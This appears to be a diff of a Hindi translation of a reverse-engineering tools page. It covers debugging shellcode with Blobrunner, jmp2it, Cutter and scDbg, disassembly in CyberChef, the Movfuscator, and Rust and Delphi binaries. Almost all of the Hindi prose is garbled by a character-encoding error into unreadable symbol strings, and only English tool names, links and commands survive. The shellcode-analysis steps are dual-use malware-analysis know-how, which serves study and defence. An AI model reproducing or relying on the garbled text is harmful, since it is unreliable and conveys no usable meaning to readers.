рдЬрд┐рд╕реЗ рдЖрдк рдбрд┐рдмрдЧ рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВред ## GUI Apps / Videogames @@ -150,7 +150,7 @@ iisreset /noforce cheat-engine.md {{#endref}} -[**PiNCE**](https://github.com/korcankaraokcu/PINCE) GNU рдкреНрд░реЛрдЬреЗрдХреНрдЯ рдбрд┐рдмрдЧрд░ (GDB) рдХреЗ рд▓рд┐рдП рдПрдХ рдлреНрд░рдВрдЯ-рдПрдВрдб/рд░рд┐рд╡рд░реНрд╕ рдЗрдВрдЬреАрдирд┐рдпрд░рд┐рдВрдЧ рдЯреВрд▓ рд╣реИ, рдЬреЛ рдЦреЗрд▓реЛрдВ рдкрд░ рдХреЗрдВрджреНрд░рд┐рдд рд╣реИред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рд╕реА рднреА рд░рд┐рд╡рд░реНрд╕ рдЗрдВрдЬреАрдирд┐рдпрд░рд┐рдВрдЧ рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рдЪреАрдЬрд╝реЛрдВ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред +[**PiNCE**](https://github.com/korcankaraokcu/PINCE) GNU Project Debugger (GDB) рдХреЗ рд▓рд┐рдП рдПрдХ рдлреНрд░рдВрдЯ-рдПрдВрдб/рд░рд┐рд╡рд░реНрд╕ рдЗрдВрдЬреАрдирд┐рдпрд░рд┐рдВрдЧ рдЯреВрд▓ рд╣реИ, рдЬреЛ рдЦреЗрд▓реЛрдВ рдкрд░ рдХреЗрдВрджреНрд░рд┐рдд рд╣реИред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рд╕реА рднреА рд░рд┐рд╡рд░реНрд╕ рдЗрдВрдЬреАрдирд┐рдпрд░рд┐рдВрдЧ рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рдЪреАрдЬрд╝реЛрдВ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред [**Decompiler Explorer**](https://dogbolt.org/) рдХрдИ рдбрд┐рдХрдВрдкрд╛рдЗрд▓рд░реЛрдВ рдХреЗ рд▓рд┐рдП рдПрдХ рд╡реЗрдм рдлреНрд░рдВрдЯ-рдПрдВрдб рд╣реИред рдпрд╣ рд╡реЗрдм рд╕реЗрд╡рд╛ рдЖрдкрдХреЛ рдЫреЛрдЯреЗ рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдлрд╝рд╛рдЗрд▓реЛрдВ рдкрд░ рд╡рд┐рднрд┐рдиреНрди рдбрд┐рдХрдВрдкрд╛рдЗрд▓рд░реЛрдВ рдХреЗ рдЖрдЙрдЯрдкреБрдЯ рдХреА рддреБрд▓рдирд╛ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИред @@ -164,8 +164,8 @@ https://github.com/nongiach/arm_now ### Debugging a shellcode with blobrunner -[**Blobrunner**](https://github.com/OALabs/BlobRunner) **shellcode** рдХреЛ рдореЗрдореЛрд░реА рдХреЗ рдПрдХ рд╕реНрдерд╛рди рдХреЗ рдЕрдВрджрд░ **рдЖрд╡рдВрдЯрд┐рдд** рдХрд░реЗрдЧрд╛, рдЖрдкрдХреЛ **рдореЗрдореЛрд░реА рдкрддреЗ** рдХреЛ **рд╕рдВрдХреЗрдд** рдХрд░реЗрдЧрд╛ рдЬрд╣рд╛рдБ shellcode рдЖрд╡рдВрдЯрд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ рдФрд░ **рдкреНрд░рд╡рд░реНрддрди** рдХреЛ **рд░реЛрдХ** рджреЗрдЧрд╛ред\ -рдлрд┐рд░, рдЖрдкрдХреЛ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рд╕реЗ **рдПрдХ рдбрд┐рдмрдЧрд░** (Ida рдпрд╛ x64dbg) рдХреЛ рд╕рдВрд▓рдЧреНрди рдХрд░рдирд╛ рд╣реЛрдЧрд╛ рдФрд░ **рд╕рдВрдХреЗрддрд┐рдд рдореЗрдореЛрд░реА рдкрддреЗ рдкрд░ рдПрдХ рдмреНрд░реЗрдХрдкреЙрдЗрдВрдЯ** рд░рдЦрдирд╛ рд╣реЛрдЧрд╛ рдФрд░ **рдкреНрд░рд╡рд░реНрддрди** рдХреЛ рдлрд┐рд░ рд╕реЗ рд╢реБрд░реВ рдХрд░рдирд╛ рд╣реЛрдЧрд╛ред рдЗрд╕ рддрд░рд╣ рдЖрдк shellcode рдХреЛ рдбрд┐рдмрдЧ рдХрд░ рд░рд╣реЗ рд╣реЛрдВрдЧреЗред +[**Blobrunner**](https://github.com/OALabs/BlobRunner) **shellcode** рдХреЛ рдореЗрдореЛрд░реА рдХреЗ рдПрдХ рд╕реНрдерд╛рди рдХреЗ рдЕрдВрджрд░ **рдЖрд╡рдВрдЯрд┐рдд** рдХрд░реЗрдЧрд╛, рдЖрдкрдХреЛ **рдореЗрдореЛрд░реА рдкрддреЗ** рдХреЛ **рд╕рдВрдХреЗрдд** рдХрд░реЗрдЧрд╛ рдЬрд╣рд╛рдБ shellcode рдЖрд╡рдВрдЯрд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ рдФрд░ **рдкреНрд░рд╡рд░реНрддрди** рдХреЛ рд░реЛрдХреЗрдЧрд╛ред\ +рдлрд┐рд░, рдЖрдкрдХреЛ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рд╕реЗ **рдПрдХ рдбрд┐рдмрдЧрд░** (Ida рдпрд╛ x64dbg) рдХреЛ рд╕рдВрд▓рдЧреНрди рдХрд░рдирд╛ рд╣реЛрдЧрд╛ рдФрд░ **рд╕рдВрдХреЗрддрд┐рдд рдореЗрдореЛрд░реА рдкрддреЗ** рдкрд░ рдПрдХ **рдмреНрд░реЗрдХрдкреЙрдЗрдВрдЯ** рд░рдЦрдирд╛ рд╣реЛрдЧрд╛ рдФрд░ **рдкреНрд░рд╡рд░реНрддрди** рдХреЛ рдлрд┐рд░ рд╕реЗ рд╢реБрд░реВ рдХрд░рдирд╛ рд╣реЛрдЧрд╛ред рдЗрд╕ рддрд░рд╣ рдЖрдк shellcode рдХреЛ рдбрд┐рдмрдЧ рдХрд░ рд░рд╣реЗ рд╣реЛрдВрдЧреЗред рд░рд┐рд▓реАрдЬрд╝ рдЧрд┐рдЯрд╣рдм рдкреГрд╖реНрда рдореЗрдВ рд╕рдВрдХрд▓рд┐рдд рд░рд┐рд▓реАрдЬрд╝ рд╡рд╛рд▓реЗ рдЬрд╝рд┐рдк рд╢рд╛рдорд┐рд▓ рд╣реИрдВ: [https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5](https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5)\ рдЖрдк рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд▓рд┐рдВрдХ рдореЗрдВ Blobrunner рдХрд╛ рдереЛрдбрд╝рд╛ рд╕рдВрд╢реЛрдзрд┐рдд рд╕рдВрд╕реНрдХрд░рдг рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВред рдЗрд╕реЗ рд╕рдВрдХрд▓рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдмрд╕ **Visual Studio Code рдореЗрдВ рдПрдХ C/C++ рдкреНрд░реЛрдЬреЗрдХреНрдЯ рдмрдирд╛рдПрдВ, рдХреЛрдб рдХреЛ рдХреЙрдкреА рдФрд░ рдкреЗрд╕реНрдЯ рдХрд░реЗрдВ рдФрд░ рдЗрд╕реЗ рдмрдирд╛рдПрдВ**ред @@ -176,21 +176,21 @@ blobrunner.md ### Debugging a shellcode with jmp2it -[**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4) blobrunner рдХреЗ рд╕рдорд╛рди рд╣реИред рдпрд╣ **shellcode** рдХреЛ рдореЗрдореЛрд░реА рдХреЗ рдПрдХ рд╕реНрдерд╛рди рдХреЗ рдЕрдВрджрд░ **рдЖрд╡рдВрдЯрд┐рдд** рдХрд░реЗрдЧрд╛, рдФрд░ рдПрдХ **рдЕрдирдВрдд рд▓реВрдк** рд╢реБрд░реВ рдХрд░реЗрдЧрд╛ред рдлрд┐рд░ рдЖрдкрдХреЛ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рд╕реЗ **рдбрд┐рдмрдЧрд░ рдХреЛ рд╕рдВрд▓рдЧреНрди рдХрд░рдирд╛ рд╣реЛрдЧрд╛**, **2-5 рд╕реЗрдХрдВрдб рдкреНрд░рддреАрдХреНрд╖рд╛ рдХрд░реЗрдВ рдФрд░ рд░реЛрдХреЗрдВ** рдФрд░ рдЖрдк **рдЕрдирдВрдд рд▓реВрдк** рдХреЗ рдЕрдВрджрд░ рдкрд╛рдПрдВрдЧреЗред рдЕрдирдВрдд рд▓реВрдк рдХреЗ рдЕрдЧрд▓реЗ рдирд┐рд░реНрджреЗрд╢ рдкрд░ рдХреВрджреЗрдВ рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ shellcode рдХреЛ рдХреЙрд▓ рдХрд░реЗрдЧрд╛, рдФрд░ рдЕрдВрддрддрдГ рдЖрдк shellcode рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рддреЗ рд╣реБрдП рдкрд╛рдПрдВрдЧреЗред +[**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4) blobrunner рдХреЗ рдмрд╣реБрдд рд╕рдорд╛рди рд╣реИред рдпрд╣ **shellcode** рдХреЛ рдореЗрдореЛрд░реА рдХреЗ рдПрдХ рд╕реНрдерд╛рди рдХреЗ рдЕрдВрджрд░ **рдЖрд╡рдВрдЯрд┐рдд** рдХрд░реЗрдЧрд╛, рдФрд░ рдПрдХ **рдЕрдирдВрдд рд▓реВрдк** рд╢реБрд░реВ рдХрд░реЗрдЧрд╛ред рдлрд┐рд░ рдЖрдкрдХреЛ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рд╕реЗ **рдбрд┐рдмрдЧрд░** рдХреЛ рд╕рдВрд▓рдЧреНрди рдХрд░рдирд╛ рд╣реЛрдЧрд╛, **2-5 рд╕реЗрдХрдВрдб рдкреНрд░рддреАрдХреНрд╖рд╛ рдХрд░реЗрдВ рдФрд░ рд░реЛрдХреЗрдВ** рдФрд░ рдЖрдк **рдЕрдирдВрдд рд▓реВрдк** рдХреЗ рдЕрдВрджрд░ рдкрд╛рдПрдВрдЧреЗред рдЕрдирдВрдд рд▓реВрдк рдХреЗ рдЕрдЧрд▓реЗ рдирд┐рд░реНрджреЗрд╢ рдкрд░ рдХреВрджреЗрдВ рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ shellcode рдХреЛ рдХреЙрд▓ рдХрд░реЗрдЧрд╛, рдФрд░ рдЕрдВрддрддрдГ рдЖрдк shellcode рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рддреЗ рд╣реБрдП рдкрд╛рдПрдВрдЧреЗред ![](<../../images/image (509).png>) -рдЖрдк [jmp2it рдХреЛ рд░рд┐рд▓реАрдЬрд╝ рдкреГрд╖реНрда рдХреЗ рдЕрдВрджрд░](https://github.com/adamkramer/jmp2it/releases/) рд╕реЗ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред +рдЖрдк [jmp2it рдХреЗ рд░рд┐рд▓реАрдЬрд╝ рдкреГрд╖реНрда рдХреЗ рдЕрдВрджрд░ рдПрдХ рд╕рдВрдХрд▓рд┐рдд рд╕рдВрд╕реНрдХрд░рдг рдбрд╛рдЙрдирд▓реЛрдб рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ](https://github.com/adamkramer/jmp2it/releases/)ред ### Debugging shellcode using Cutter [**Cutter**](https://github.com/rizinorg/cutter/releases/tag/v1.12.0) radare рдХрд╛ GUI рд╣реИред Cutter рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЖрдк shellcode рдХреЛ рдЕрдиреБрдХрд░рдг рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдЗрд╕реЗ рдЧрддрд┐рд╢реАрд▓ рд░реВрдк рд╕реЗ рдирд┐рд░реАрдХреНрд╖рдг рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред -рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ Cutter рдЖрдкрдХреЛ "Open File" рдФрд░ "Open Shellcode" рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред рдореЗрд░реЗ рдорд╛рдорд▓реЗ рдореЗрдВ рдЬрдм рдореИрдВрдиреЗ shellcode рдХреЛ рдлрд╝рд╛рдЗрд▓ рдХреЗ рд░реВрдк рдореЗрдВ рдЦреЛрд▓рд╛, рддреЛ рдпрд╣ рд╕рд╣реА рдврдВрдЧ рд╕реЗ рдбрд┐рдХрдВрдкрд╛рдЗрд▓ рд╣реЛ рдЧрдпрд╛, рд▓реЗрдХрд┐рди рдЬрдм рдореИрдВрдиреЗ рдЗрд╕реЗ shellcode рдХреЗ рд░реВрдк рдореЗрдВ рдЦреЛрд▓рд╛, рддреЛ рдпрд╣ рдирд╣реАрдВ рд╣реБрдЖ: +рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ Cutter рдЖрдкрдХреЛ "Open File" рдФрд░ "Open Shellcode" рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред рдореЗрд░реЗ рдорд╛рдорд▓реЗ рдореЗрдВ рдЬрдм рдореИрдВрдиреЗ shellcode рдХреЛ рдлрд╝рд╛рдЗрд▓ рдХреЗ рд░реВрдк рдореЗрдВ рдЦреЛрд▓рд╛, рддреЛ рдпрд╣ рд╕рд╣реА рдврдВрдЧ рд╕реЗ рдбрд┐рдХрдВрдкрд╛рдЗрд▓ рд╣реБрдЖ, рд▓реЗрдХрд┐рди рдЬрдм рдореИрдВрдиреЗ рдЗрд╕реЗ shellcode рдХреЗ рд░реВрдк рдореЗрдВ рдЦреЛрд▓рд╛, рддреЛ рдпрд╣ рдирд╣реАрдВ рд╣реБрдЖ: ![](<../../images/image (562).png>) -рдЖрдк рдЬрд┐рд╕ рд╕реНрдерд╛рди рдкрд░ рдЕрдиреБрдХрд░рдг рд╢реБрд░реВ рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ, рд╡рд╣рд╛рдВ рдПрдХ bp рд╕реЗрдЯ рдХрд░реЗрдВ рдФрд░ рд╕реНрдкрд╖реНрдЯ рд░реВрдк рд╕реЗ cutter рд╡рд╣рд╛рдВ рд╕реЗ рдЕрдиреБрдХрд░рдг рд╢реБрд░реВ рдХрд░реЗрдЧрд╛: +рдЖрдк рдЬрд┐рд╕ рд╕реНрдерд╛рди рдкрд░ рдЕрдиреБрдХрд░рдг рд╢реБрд░реВ рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ, рд╡рд╣рд╛рдВ рдПрдХ bp рд╕реЗрдЯ рдХрд░реЗрдВ рдФрд░ рд╕реНрдкрд╖реНрдЯ рд░реВрдк рд╕реЗ Cutter рд╡рд╣рд╛рдВ рд╕реЗ рдЕрдиреБрдХрд░рдг рд╢реБрд░реВ рдХрд░реЗрдЧрд╛: ![](<../../images/image (589).png>) @@ -212,19 +212,19 @@ scdbg.exe -f shellcode -d #Dump decoded shellcode scdbg.exe -f shellcode /findsc #Find offset where starts scdbg.exe -f shellcode /foff 0x0000004D #Start the executing in that offset ``` -scDbg рдореЗрдВ рдПрдХ рдЧреНрд░рд╛рдлрд┐рдХрд▓ рд▓реЙрдиреНрдЪрд░ рднреА рд╣реИ рдЬрд╣рд╛рдБ рдЖрдк рдЙрди рд╡рд┐рдХрд▓реНрдкреЛрдВ рдХрд╛ рдЪрдпрди рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬрд┐рдиреНрд╣реЗрдВ рдЖрдк рдЪрд╛рд╣рддреЗ рд╣реИрдВ рдФрд░ рд╢реЗрд▓рдХреЛрдб рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред +scDbg рдореЗрдВ рдПрдХ рдЧреНрд░рд╛рдлрд┐рдХрд▓ рд▓реЙрдиреНрдЪрд░ рднреА рд╣реИ рдЬрд╣рд╛рдБ рдЖрдк рдЕрдкрдиреА рдЗрдЪреНрдЫрд┐рдд рд╡рд┐рдХрд▓реНрдкреЛрдВ рдХрд╛ рдЪрдпрди рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рд╢реЗрд▓рдХреЛрдб рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред ![](<../../images/image (258).png>) -**Create Dump** рд╡рд┐рдХрд▓реНрдк рдЕрдВрддрд┐рдо рд╢реЗрд▓рдХреЛрдб рдХреЛ рдбрдВрдк рдХрд░реЗрдЧрд╛ рдпрджрд┐ рд╢реЗрд▓рдХреЛрдб рдореЗрдВ рдореЗрдореЛрд░реА рдореЗрдВ рдЧрддрд┐рд╢реАрд▓ рд░реВрдк рд╕реЗ рдХреЛрдИ рдкрд░рд┐рд╡рд░реНрддрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ (рдбрд┐рдХреЛрдбреЗрдб рд╢реЗрд▓рдХреЛрдб рдбрд╛рдЙрдирд▓реЛрдб рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧреА)ред **start offset** рдХрд┐рд╕реА рд╡рд┐рд╢реЗрд╖ рдСрдлрд╕реЗрдЯ рдкрд░ рд╢реЗрд▓рдХреЛрдб рд╢реБрд░реВ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧреА рд╣реЛ рд╕рдХрддрд╛ рд╣реИред **Debug Shell** рд╡рд┐рдХрд▓реНрдк рд╢реЗрд▓рдХреЛрдб рдХреЛ scDbg рдЯрд░реНрдорд┐рдирд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдбрд┐рдмрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧреА рд╣реИ (рд╣рд╛рд▓рд╛рдВрдХрд┐ рдореБрдЭреЗ рд▓рдЧрддрд╛ рд╣реИ рдХрд┐ рдЗрд╕ рдорд╛рдорд▓реЗ рдХреЗ рд▓рд┐рдП рдкрд╣рд▓реЗ рд╕рдордЭрд╛рдП рдЧрдП рдХрд┐рд╕реА рднреА рд╡рд┐рдХрд▓реНрдк рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рдмреЗрд╣рддрд░ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдЖрдк Ida рдпрд╛ x64dbg рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХреЗрдВрдЧреЗ)ред +**Create Dump** рд╡рд┐рдХрд▓реНрдк рдЕрдВрддрд┐рдо рд╢реЗрд▓рдХреЛрдб рдХреЛ рдбрдВрдк рдХрд░реЗрдЧрд╛ рдпрджрд┐ рд╢реЗрд▓рдХреЛрдб рдореЗрдВ рдХреЛрдИ рдкрд░рд┐рд╡рд░реНрддрди рдЧрддрд┐рд╢реАрд▓ рд░реВрдк рд╕реЗ рдореЗрдореЛрд░реА рдореЗрдВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ (рдбрд┐рдХреЛрдбреЗрдб рд╢реЗрд▓рдХреЛрдб рдбрд╛рдЙрдирд▓реЛрдб рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧреА)ред **start offset** рдХрд┐рд╕реА рд╡рд┐рд╢реЗрд╖ рдСрдлрд╕реЗрдЯ рдкрд░ рд╢реЗрд▓рдХреЛрдб рд╢реБрд░реВ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧреА рд╣реЛ рд╕рдХрддрд╛ рд╣реИред **Debug Shell** рд╡рд┐рдХрд▓реНрдк рд╢реЗрд▓рдХреЛрдб рдХреЛ scDbg рдЯрд░реНрдорд┐рдирд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдбрд┐рдмрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧреА рд╣реИ (рд╣рд╛рд▓рд╛рдВрдХрд┐ рдореБрдЭреЗ рд▓рдЧрддрд╛ рд╣реИ рдХрд┐ рдЗрд╕ рдорд╛рдорд▓реЗ рдХреЗ рд▓рд┐рдП рдкрд╣рд▓реЗ рд╕рдордЭрд╛рдП рдЧрдП рд╡рд┐рдХрд▓реНрдк рдмреЗрд╣рддрд░ рд╣реИрдВ рдХреНрдпреЛрдВрдХрд┐ рдЖрдк Ida рдпрд╛ x64dbg рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХреЗрдВрдЧреЗ)ред -### CyberChef рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдбрд┐рд╕рдПрд╕реЗрдВрдмрд▓рд┐рдВрдЧ +### CyberChef рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдбрд┐рд╕рдЕрд╕реНрд╕реЗрдореНрдмрд▓рд┐рдВрдЧ рдЕрдкрдиреЗ рд╢реЗрд▓рдХреЛрдб рдлрд╝рд╛рдЗрд▓ рдХреЛ рдЗрдирдкреБрдЯ рдХреЗ рд░реВрдк рдореЗрдВ рдЕрдкрд▓реЛрдб рдХрд░реЗрдВ рдФрд░ рдЗрд╕реЗ рдбрд┐рдХрдВрдкрд╛рдЗрд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдиреБрд╕реНрдЦрд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ: [https://gchq.github.io/CyberChef/#recipe=To_Hex('Space',0)Disassemble_x86('32','Full%20x86%20architecture',16,0,true,true)]() ## [Movfuscator](https://github.com/xoreaxeaxeax/movfuscator) -рдпрд╣ рдСрдмрдлрд╕реНрдХреЗрдЯрд░ **`mov` рдХреЗ рд▓рд┐рдП рд╕рднреА рдирд┐рд░реНрджреЗрд╢реЛрдВ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рддрд╛ рд╣реИ** (рд╣рд╛рдБ, рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ рдХреВрд▓)ред рдпрд╣ рдирд┐рд╖реНрдкрд╛рджрди рдкреНрд░рд╡рд╛рд╣ рдХреЛ рдмрджрд▓рдиреЗ рдХреЗ рд▓рд┐рдП рдЗрдВрдЯрд░рдкреНрд╢рди рдХрд╛ рднреА рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИред рдпрд╣ рдХреИрд╕реЗ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ рдЗрд╕рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП: +рдпрд╣ рдСрдмрдлрд╕реНрдХреЗрдЯрд░ **`mov` рдХреЗ рд╕рднреА рдирд┐рд░реНрджреЗрд╢реЛрдВ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рддрд╛ рд╣реИ** (рд╣рд╛рдБ, рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ рдХреВрд▓)ред рдпрд╣ рдирд┐рд╖реНрдкрд╛рджрди рдкреНрд░рд╡рд╛рд╣ рдХреЛ рдмрджрд▓рдиреЗ рдХреЗ рд▓рд┐рдП рдЗрдВрдЯрд░рдкреНрд╢рди рдХрд╛ рднреА рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИред рдпрд╣ рдХреИрд╕реЗ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ, рдЗрд╕рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП: - [https://www.youtube.com/watch?v=2VF_wPkiBJY](https://www.youtube.com/watch?v=2VF_wPkiBJY) - [https://github.com/xoreaxeaxeax/movfuscator/blob/master/slides/domas_2015_the_movfuscator.pdf](https://github.com/xoreaxeaxeax/movfuscator/blob/master/slides/domas_2015_the_movfuscator.pdf) @@ -234,9 +234,9 @@ scDbg рдореЗрдВ рдПрдХ рдЧреНрд░рд╛рдлрд┐рдХрд▓ рд▓реЙрдиреНрдЪрд░ рднреА рд╣реИ apt-get install libcapstone-dev apt-get install libz3-dev ``` -And [keystone рд╕реНрдерд╛рдкрд┐рдд рдХрд░реЗрдВ](https://github.com/keystone-engine/keystone/blob/master/docs/COMPILE-NIX.md) (`apt-get install cmake; mkdir build; cd build; ../make-share.sh; make install`) +And [install keystone](https://github.com/keystone-engine/keystone/blob/master/docs/COMPILE-NIX.md) (`apt-get install cmake; mkdir build; cd build; ../make-share.sh; make install`) -рдпрджрд┐ рдЖрдк рдПрдХ **CTF рдЦреЗрд▓ рд░рд╣реЗ рд╣реИрдВ, рддреЛ рдзреНрд╡рдЬ рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рдпрд╣ рд╕рдорд╛рдзрд╛рди** рдмрд╣реБрдд рдЙрдкрдпреЛрдЧреА рд╣реЛ рд╕рдХрддрд╛ рд╣реИ: [https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html](https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html) +рдпрджрд┐ рдЖрдк рдПрдХ **CTF рдЦреЗрд▓ рд░рд╣реЗ рд╣реИрдВ, рддреЛ рдзреНрд╡рдЬ рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рдпрд╣ рд╡рд░реНрдХрдЕрд░рд╛рдЙрдВрдб** рдмрд╣реБрдд рдЙрдкрдпреЛрдЧреА рд╣реЛ рд╕рдХрддрд╛ рд╣реИ: [https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html](https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html) ## Rust @@ -245,7 +245,7 @@ And [keystone рд╕реНрдерд╛рдкрд┐рдд рдХрд░реЗрдВ](https://github.com/keystone-en ![](<../../images/image (1080).png>) рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ рдмрд╛рдЗрдирд░реА рдХрд╛ рдирд╛рдо authenticator рдерд╛, рдЗрд╕рд▓рд┐рдП рдпрд╣ рд╕реНрдкрд╖реНрдЯ рд╣реИ рдХрд┐ рдпрд╣ рджрд┐рд▓рдЪрд╕реНрдк рдореБрдЦреНрдп рдлрд╝рдВрдХреНрд╢рди рд╣реИред\ -рдХреЙрд▓ рдХрд┐рдП рдЬрд╛ рд░рд╣реЗ **рдлрд╝рдВрдХреНрд╢рдВрд╕** рдХреЗ **рдирд╛рдо** рд╣реЛрдиреЗ рдкрд░, рдЙрдирдХреЗ **рдЗрдирдкреБрдЯреНрд╕** рдФрд░ **рдЖрдЙрдЯрдкреБрдЯреНрд╕** рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдирдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдиреНрд╣реЗрдВ **рдЗрдВрдЯрд░рдиреЗрдЯ** рдкрд░ рдЦреЛрдЬреЗрдВред +**рдХреЙрд▓ рдХрд┐рдП рдЬрд╛ рд░рд╣реЗ рдлрд╝рдВрдХреНрд╢рдВрд╕** рдХреЗ **рдирд╛рдо** рдХреЛ рдЬрд╛рдирдХрд░, рдЙрдирдХреЗ **рдЗрдирдкреБрдЯреНрд╕** рдФрд░ **рдЖрдЙрдЯрдкреБрдЯреНрд╕** рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдирдиреЗ рдХреЗ рд▓рд┐рдП **рдЗрдВрдЯрд░рдиреЗрдЯ** рдкрд░ рдЦреЛрдЬреЗрдВред ## **Delphi** @@ -257,7 +257,7 @@ Delphi рд╕рдВрдХрд▓рд┐рдд рдмрд╛рдЗрдирд░реА рдХреЗ рд▓рд┐рдП рдЖрдк [https://gi рдпрд╣ рдкреНрд▓рдЧрдЗрди рдмрд╛рдЗрдирд░реА рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдЧрд╛ рдФрд░ рдбрд┐рдмрдЧрд┐рдВрдЧ рдХреА рд╢реБрд░реБрдЖрдд рдореЗрдВ рдлрд╝рдВрдХреНрд╢рди рдирд╛рдореЛрдВ рдХреЛ рдЧрддрд┐рд╢реАрд▓ рд░реВрдк рд╕реЗ рд╣рд▓ рдХрд░реЗрдЧрд╛ред рдбрд┐рдмрдЧрд┐рдВрдЧ рд╢реБрд░реВ рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж рдлрд┐рд░ рд╕реЗ Start рдмрдЯрди (рд╣рд░рд╛ рдпрд╛ f9) рджрдмрд╛рдПрдВ рдФрд░ рдПрдХ рдмреНрд░реЗрдХрдкреЙрдЗрдВрдЯ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рдХреЛрдб рдХреА рд╢реБрд░реБрдЖрдд рдореЗрдВ рд▓рдЧреЗрдЧрд╛ред 